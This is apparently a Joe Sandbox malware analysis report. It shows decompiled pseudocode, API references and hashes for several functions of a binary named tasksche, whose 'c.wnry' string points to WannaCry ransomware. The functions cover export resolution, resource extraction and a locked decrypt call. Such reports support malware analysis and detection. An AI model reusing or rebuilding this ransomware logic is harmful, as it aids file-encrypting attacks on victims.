                                                                                          C-Code - Quality: 37%
                                                                                          			E00402924(intOrPtr* _a4, char _a8) {
				intOrPtr _v8;
				intOrPtr* _t26;
				intOrPtr* _t28;
				void* _t29;
				intOrPtr _t30;
				void* _t32;
				signed int _t33;
				signed int _t37;
				signed short* _t41;
				intOrPtr _t44;
				intOrPtr _t49;
				intOrPtr* _t55;
				intOrPtr _t58;
				void* _t59;

				_t26 = _a4;
				_t44 =  *((intOrPtr*)(_t26 + 4));
				_t28 =  *_t26 + 0x78;
				_v8 = _t44;
				if( *((intOrPtr*)(_t28 + 4)) == 0) {
					L11:
					SetLastError(0x7f);
					_t29 = 0;
				} else {
					_t58 =  *_t28;
					_t30 =  *((intOrPtr*)(_t58 + _t44 + 0x18));
					_t59 = _t58 + _t44;
					if(_t30 == 0 ||  *((intOrPtr*)(_t59 + 0x14)) == 0) {
						goto L11;
					} else {
						_t8 =  &_a8; // 0x402150
						if( *_t8 >> 0x10 != 0) {
							_t55 =  *((intOrPtr*)(_t59 + 0x20)) + _t44;
							_t41 =  *((intOrPtr*)(_t59 + 0x24)) + _t44;
							_a4 = 0;
							if(_t30 <= 0) {
								goto L11;
							} else {
								while(1) {
									_t32 =  *_t55 + _t44;
									_t15 =  &_a8; // 0x402150
									__imp___stricmp( *_t15, _t32);
									if(_t32 == 0) {
										break;
									}
									_a4 = _a4 + 1;
									_t55 = _t55 + 4;
									_t41 =  &(_t41[1]);
									if(_a4 <  *((intOrPtr*)(_t59 + 0x18))) {
										_t44 = _v8;
										continue;
									} else {
										goto L11;
									}
									goto L12;
								}
								_t33 =  *_t41 & 0x0000ffff;
								_t44 = _v8;
								goto L14;
							}
						} else {
							_t9 =  &_a8; // 0x402150
							_t37 =  *_t9 & 0x0000ffff;
							_t49 =  *((intOrPtr*)(_t59 + 0x10));
							if(_t37 < _t49) {
								goto L11;
							} else {
								_t33 = _t37 - _t49;
								L14:
								if(_t33 >  *((intOrPtr*)(_t59 + 0x14))) {
									goto L11;
								} else {
									_t29 =  *((intOrPtr*)( *((intOrPtr*)(_t59 + 0x1c)) + _t33 * 4 + _t44)) + _t44;
								}
							}
						}
					}
				}
				L12:
				return _t29;
			}

















                                                                                          0x00402928
                                                                                          0x0040292f
                                                                                          0x00402934
                                                                                          0x00402938
                                                                                          0x0040293e
                                                                                          0x004029a5
                                                                                          0x004029a7
                                                                                          0x004029ad
                                                                                          0x00402940
                                                                                          0x00402940
                                                                                          0x00402942
                                                                                          0x00402946
                                                                                          0x0040294a
                                                                                          0x00000000
                                                                                          0x00402951
                                                                                          0x00402951
                                                                                          0x0040295a
                                                                                          0x00402971
                                                                                          0x00402973
                                                                                          0x00402977
                                                                                          0x0040297a
                                                                                          0x00000000
                                                                                          0x0040297c
                                                                                          0x00402981
                                                                                          0x00402983
                                                                                          0x00402986
                                                                                          0x00402989
                                                                                          0x00402993
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00402995
                                                                                          0x00402998
                                                                                          0x0040299f
                                                                                          0x004029a3
                                                                                          0x0040297e
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x004029a3
                                                                                          0x004029b4
                                                                                          0x004029b7
                                                                                          0x00000000
                                                                                          0x004029b7
                                                                                          0x0040295c
                                                                                          0x0040295c
                                                                                          0x0040295c
                                                                                          0x00402960
                                                                                          0x00402965
                                                                                          0x00000000
                                                                                          0x00402967
                                                                                          0x00402967
                                                                                          0x004029ba
                                                                                          0x004029bd
                                                                                          0x00000000
                                                                                          0x004029bf
                                                                                          0x004029c8
                                                                                          0x004029c8
                                                                                          0x004029bd
                                                                                          0x00402965
                                                                                          0x0040295a
                                                                                          0x0040294a
                                                                                          0x004029af
                                                                                          0x004029b3

                                                                                          APIs
                                                                                          • _stricmp.MSVCRT(P!@,?,?,0000DDB6,?,?,?,00402150,00000000,TaskStart), ref: 00402989
                                                                                          • SetLastError.KERNEL32(0000007F,?,0000DDB6,?,?,?,00402150,00000000,TaskStart), ref: 004029A7
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001D.00000002.346208341.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 0000001D.00000002.346184829.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346237406.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346252810.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346278616.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_29_2_400000_tasksche.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: ErrorLast_stricmp
                                                                                          • String ID: P!@
                                                                                          • API String ID: 1278613211-1774101457
                                                                                          • Opcode ID: 03c3627be8870cecb91afdd38bef801573c0f783d9791e09bb9b18ce57a97af9
                                                                                          • Instruction ID: aaf1e2d36ba78ebe43aa6e6aad127835d86855a49192f4e92224227a9dbc2408
                                                                                          • Opcode Fuzzy Hash: 03c3627be8870cecb91afdd38bef801573c0f783d9791e09bb9b18ce57a97af9
                                                                                          • Instruction Fuzzy Hash: 432180B1700605EFDB14CF19DA8486A73F6EF89310B29857AE846EB381D678ED41CB85
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00401DFE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59stringCOMMON
                                                                                          Download Yara Rule
                                                                                          C-Code - Quality: 89%
                                                                                          			E00401DFE(void* __eax) {
				int _t21;
				signed int _t27;
				signed int _t29;
				void* _t34;
				void* _t36;
				void* _t38;
				void* _t40;
				void* _t41;
				void* _t43;

				_t36 = __eax;
				_t41 = _t40 + 0xc;
				if(__eax != 0) {
					 *(_t38 - 0x12c) =  *(_t38 - 0x12c) & 0x00000000;
					_t29 = 0x4a;
					memset(_t38 - 0x128, 0, _t29 << 2);
					E004075C4(_t36, 0xffffffff, _t38 - 0x12c);
					_t27 =  *(_t38 - 0x12c);
					_t43 = _t41 + 0x18;
					_t34 = 0;
					if(_t27 > 0) {
						do {
							E004075C4(_t36, _t34, _t38 - 0x12c);
							_t21 = strcmp(_t38 - 0x128, "c.wnry");
							_t43 = _t43 + 0x14;
							if(_t21 != 0 || GetFileAttributesA(_t38 - 0x128) == 0xffffffff) {
								E0040763D(_t36, _t34, _t38 - 0x128);
								_t43 = _t43 + 0xc;
							}
							_t34 = _t34 + 1;
						} while (_t34 < _t27);
					}
					E00407656(_t36);
					_push(1);
					_pop(0);
				} else {
				}
				return 0;
			}












                                                                                          0x00401dfe
                                                                                          0x00401e00
                                                                                          0x00401e05
                                                                                          0x00401e0e
                                                                                          0x00401e1a
                                                                                          0x00401e21
                                                                                          0x00401e2d
                                                                                          0x00401e32
                                                                                          0x00401e38
                                                                                          0x00401e3b
                                                                                          0x00401e3f
                                                                                          0x00401e41
                                                                                          0x00401e4a
                                                                                          0x00401e5b
                                                                                          0x00401e60
                                                                                          0x00401e65
                                                                                          0x00401e82
                                                                                          0x00401e87
                                                                                          0x00401e87
                                                                                          0x00401e8a
                                                                                          0x00401e8b
                                                                                          0x00401e41
                                                                                          0x00401e90
                                                                                          0x00401e96
                                                                                          0x00401e98
                                                                                          0x00401e07
                                                                                          0x00401e07
                                                                                          0x00401e9d

                                                                                          APIs
                                                                                          • strcmp.MSVCRT(?,c.wnry,?,00000000,?), ref: 00401E5B
                                                                                          • GetFileAttributesA.KERNEL32(?), ref: 00401E6E
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001D.00000002.346208341.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 0000001D.00000002.346184829.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346237406.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346252810.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346278616.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_29_2_400000_tasksche.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: AttributesFilestrcmp
                                                                                          • String ID: c.wnry
                                                                                          • API String ID: 3324900478-3240288721
                                                                                          • Opcode ID: cc95b26050e750b8ddedfaa82b6fbbed5bde767aecf08ad1744914d0cf1c8067
                                                                                          • Instruction ID: 6f95607eaad4b3b0c5796a2914108af7bfa48759f01996e65d2c9759274caab0
                                                                                          • Opcode Fuzzy Hash: cc95b26050e750b8ddedfaa82b6fbbed5bde767aecf08ad1744914d0cf1c8067
                                                                                          • Instruction Fuzzy Hash: 3001C872D041142ADB209625DC41FEF336C9B45374F1005B7FA44F11C1E739AA998ADA
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00405C9F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17COMMON
                                                                                          Download Yara Rule
                                                                                          C-Code - Quality: 84%
                                                                                          			E00405C9F(signed int __eax, intOrPtr _a4) {
				intOrPtr _t9;

				_t9 = _a4;
				if(_t9 != 0) {
					if( *((char*)(_t9 + 0x10)) != 0) {
						CloseHandle( *(_t9 + 4));
					}
					_push(_t9);
					L004076E8();
					return 0;
				} else {
					return __eax | 0xffffffff;
				}
			}




                                                                                          0x00405ca0
                                                                                          0x00405ca6
                                                                                          0x00405cb1
                                                                                          0x00405cb6
                                                                                          0x00405cb6
                                                                                          0x00405cbc
                                                                                          0x00405cbd
                                                                                          0x00405cc6
                                                                                          0x00405ca8
                                                                                          0x00405cac
                                                                                          0x00405cac

                                                                                          APIs
                                                                                          • CloseHandle.KERNEL32(?,$l@,00406118,$l@,?,00000000,00000000), ref: 00405CB6
                                                                                          • ??3@YAXPAX@Z.MSVCRT(00000000,$l@,00406118,$l@,?,00000000,00000000), ref: 00405CBD
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001D.00000002.346208341.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 0000001D.00000002.346184829.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346237406.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346252810.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346278616.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_29_2_400000_tasksche.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: ??3@CloseHandle
                                                                                          • String ID: $l@
                                                                                          • API String ID: 3816424416-2140230165
                                                                                          • Opcode ID: 95d67fc171dea6c803f2538cd8e9bf2129e8d776d8110548eb6437a9e23f5d7b
                                                                                          • Instruction ID: 673c02d0cae411eac5e44946f87937de45fd09569792d44698d585129e0307c2
                                                                                          • Opcode Fuzzy Hash: 95d67fc171dea6c803f2538cd8e9bf2129e8d776d8110548eb6437a9e23f5d7b
                                                                                          • Instruction Fuzzy Hash: 47D05E3280DE211BE7226A28B90469B2B949F01330F054A6EE4A1A25E2D7789C8596CC
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 004019E1 Relevance: 5.0, APIs: 4, Instructions: 39COMMON
                                                                                          Download Yara Rule
                                                                                          C-Code - Quality: 25%
                                                                                          			E004019E1(void* __ecx, void* _a4, int _a8, void* _a12, int* _a16) {
				void* _t13;
				void* _t16;
				struct _CRITICAL_SECTION* _t19;
				void* _t20;

				_t20 = __ecx;
				if( *((intOrPtr*)(__ecx + 8)) == 0) {
					L3:
					return 0;
				}
				_t19 = __ecx + 0x10;
				EnterCriticalSection(_t19);
				_t13 =  *0x40f8a4( *((intOrPtr*)(_t20 + 8)), 0, 1, 0, _a4,  &_a8);
				_push(_t19);
				if(_t13 != 0) {
					LeaveCriticalSection();
					memcpy(_a12, _a4, _a8);
					 *_a16 = _a8;
					_t16 = 1;
					return _t16;
				}
				LeaveCriticalSection();
				goto L3;
			}







                                                                                          0x004019e5
                                                                                          0x004019ec
                                                                                          0x00401a19
                                                                                          0x00000000
                                                                                          0x00401a19
                                                                                          0x004019ee
                                                                                          0x004019f2
                                                                                          0x00401a08
                                                                                          0x00401a10
                                                                                          0x00401a11
                                                                                          0x00401a1d
                                                                                          0x00401a2c
                                                                                          0x00401a3a
                                                                                          0x00401a3e
                                                                                          0x00000000
                                                                                          0x00401a3e
                                                                                          0x00401a13
                                                                                          0x00000000

                                                                                          APIs
                                                                                          • EnterCriticalSection.KERNEL32(?,00000000,?,?,00401642,?,?,?,?), ref: 004019F2
                                                                                          • LeaveCriticalSection.KERNEL32(?,?,?,00401642,?,?,?,?), ref: 00401A13
                                                                                          • LeaveCriticalSection.KERNEL32(?,?,?,00401642,?,?,?,?), ref: 00401A1D
                                                                                          • memcpy.MSVCRT(?,?,?,?,?,00401642,?,?,?,?), ref: 00401A2C
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001D.00000002.346208341.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 0000001D.00000002.346184829.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346237406.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346252810.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346278616.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_29_2_400000_tasksche.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: CriticalSection$Leave$Entermemcpy
                                                                                          • String ID:
                                                                                          • API String ID: 3435569088-0
                                                                                          • Opcode ID: fd5125ef58b43d2b94afe930c36afa05085028d191ff952fa05313044055aa85
                                                                                          • Instruction ID: 582611ac2dab466912340a9d1f37a03f8b1d3421f3d1388c7c0078807ea36f1a
                                                                                          • Opcode Fuzzy Hash: fd5125ef58b43d2b94afe930c36afa05085028d191ff952fa05313044055aa85
                                                                                          • Instruction Fuzzy Hash: 7FF0A432200204FFEB119F90DD05FAA3769EF44710F008439F945AA1A0D7B5A854DB65
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%